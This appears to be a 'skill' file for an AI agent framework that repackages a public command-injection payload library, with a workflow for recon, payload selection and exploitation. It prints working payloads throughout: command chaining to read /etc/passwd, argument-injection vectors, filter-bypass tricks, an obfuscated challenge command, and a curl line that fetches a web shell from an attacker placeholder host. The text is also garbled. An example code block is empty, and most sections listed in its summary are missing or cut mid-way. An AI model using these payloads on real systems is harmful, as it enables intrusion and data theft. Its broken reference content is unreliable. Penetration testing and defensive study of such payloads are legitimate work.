--- name: payloads-cmdi description: "Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application. Automated All-in-One OS command injection and exploitation tool An OOB interaction gathering server and client library Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating..." --- # Command Injection Payloads > **Source:** [PayloadsAllTheThings/Command Injection](https://github.com/swisskyrepo/payloadsallthethings/tree/master/Command%20Injection) > **Category:** `payloads-injection` | **Skill ID:** `payloads-cmdi` ## Overview OS command injection payloads for Linux, Windows, and filter bypass techniques. This skill integrates the full **PayloadsAllTheThings** (PATT) payload library for the **Command Injection Payloads** domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges. ## Workflow ### 1. Recon & Identification - Identify the target technology stack and injection points - Enumerate endpoints, parameters, and input vectors - Determine applicable payload categories from the reference below ### 2. Payload Selection - Browse the PATT payload library for the attack class - Select encoding-appropriate payloads for the target environment - Consider WAF bypass variants and obfuscation techniques ### 3. Exploitation (Authorized Only) - Test payloads in order: passive → active → escalation - Document every payload tested and its response - Capture PoC evidence (screenshots, HTTP logs, curl output) ### 4. Verification & Reporting - Confirm the vulnerability with a clean minimal PoC - Map findings to CVE/CWE where applicable - Report with remediation recommendations and code fixes --- ## Full PATT Reference # Command Injection > Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application. ## Summary * [Tools](#tools) * [Methodology](#methodology) * [Basic Commands](#basic-commands) * [Chaining Commands](#chaining-commands) * [Argument Injection](#argument-injection) * [Inside A Command](#inside-a-command) * [Filter Bypasses](#filter-bypasses) * [Bypass Without Space](#bypass-without-space) * [Bypass With A Line Return](#bypass-with-a-line-return) * [Bypass With Backslash Newline](#bypass-with-backslash-newline) * [Bypass With Tilde Expansion](#bypass-with-tilde-expansion) * [Bypass With Brace Expansion](#bypass-with-brace-expansion) * [Bypass Characters Filter](#bypass-characters-filter) * [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding) * [Bypass With Single Quote](#bypass-with-single-quote) * [Bypass With Double Quote](#bypass-with-double-quote) * [Bypass With Backticks](#bypass-with-backticks) * [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash) * [Bypass With $@](#bypass-with-) * [Bypass With $()](#bypass-with--1) * [Bypass With Variable Expansion](#bypass-with-variable-expansion) * [Bypass With Wildcards](#bypass-with-wildcards) * [Bypass With Random Case](#bypass-with-random-case) * [Data Exfiltration](#data-exfiltration) * [Time Based Data Exfiltration](#time-based-data-exfiltration) * [Dns Based Data Exfiltration](#dns-based-data-exfiltration) * [Polyglot Command Injection](#polyglot-command-injection) * [Tricks](#tricks) * [Backgrounding Long Running Commands](#backgrounding-long-running-commands) * [Remove Arguments After The Injection](#remove-arguments-after-the-injection) * [Labs](#labs) * [Challenge](#challenge) * [References](#references) ## Tools * [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool * [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library ## Methodology Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system. The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise. **Example of Command Injection with PHP**: Suppose you have a PHP script that takes a user input to ping a specified IP address or domain: ```php ``` In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter. If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`. This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information. ### Basic Commands Execute the command and voila :p ```powershell cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh ... ``` ### Chaining Commands In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands. * `;` (Semicolon): Allows you to execute multiple commands sequentially. * `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status). * `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status). * `&` (Background): Execute the command in the background, allowing the user to continue using the shell. * `|` (Pipe): Takes the output of the first command and uses it as the input for the second command. ```powershell command1; command2 # Execute command1 and then command2 command1 && command2 # Execute command2 only if command1 succeeds command1 || command2 # Execute command2 only if command1 fails command1 & command2 # Execute command1 in the background command1 | command2 # Pipe the output of command1 into command2 ``` ### Argument Injection Gain a command execution when you can only append arguments to an existing command. Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution. * Chrome ```ps1 chrome '--gpu-launcher="id>/tmp/foo"' ``` * SSH ```ps1 ssh '-oProxyCommand="touch /tmp/foo"' foo@foo ``` * psql ```ps1 psql -o'|id>/tmp/foo' ``` Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique. In the following example, the payload `" --use-askpass=calc "` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022) ```php $url = "https://example.tld/" . $_GET['path'] . ".txt"; system("wget.exe -q " . escapeshellarg($url)); ``` Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell. * curl ```ps1 # -o, --output Write to file instead of stdout curl http://[ATTACKER.DOMAIN.TLD]/ -o webshell.php ``` ### Inside A Command * Command injection using backticks. ```bash original_cmd_by_server `cat /etc/passwd` ``` * Command injection using substitution ```bash original_cmd_by_server $(cat /etc/passwd) ``` ## Filter Bypasses ### Bypass Without Space * `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead. ```powershell cat${IFS}/etc/passwd ls${IFS}-la ``` * In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments. ```powershell {cat,/etc/passwd} ``` * Input redirection. The < character tells the shell to read the contents of the file specified. ```powershell cat /dev/null & ``` ### Remove Arguments After The Injection In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options. ## Labs * [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple) * [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays) * [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection) * [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band) * [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration) * [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection) * [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass) * [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert) * [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace) ### Challenge Challenge based on the previous tricks, what does the following command do: ```powershell g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/} ``` **NOTE**: The command is safe to run, but you should not trust me. ## References * [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://web.archive.org/web/20250306133700/https://staaldraad.github.io/post/2019-11-24-argument-injection/) * [Argument Injection Vectors - SonarSource - February 21, 2023](https://web.archive.org/web/20251211212046/https://sonarsource.github.io/argument-injection-vectors/) * [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://web.archive.org/web/20140714140437/http://www.exploit-db.com/papers/33930) * [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://web.archive.org/web/20241202133053/https://twitter.com/DissectMalware/status/1025604382644232192) * [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136) * [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://web.archive.org/web/20220428000241/https://twitter.com/asdizzle_/status/895244943526170628) * [OS Command Injection - PortSwigger - March 30, 2019](https://web.archive.org/web/20190330193912/https://portswigger.net/web-security/os-command-injection) * [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://web.archive.org/web/20250108174818/https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) * [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - Kacper Szurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md) * [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://web.archive.org/web/20250109163006/https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) --- ## REA MCP Integration ```javascript // REA MCP — Automated payload injection via REA tools // Use analyze_function, procedure_pseudo_code, or observe_native_calls // to identify injection sinks, then apply payloads from this skill. ``` ## Legal Notice > ⚠️ **Authorized Use Only.** All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.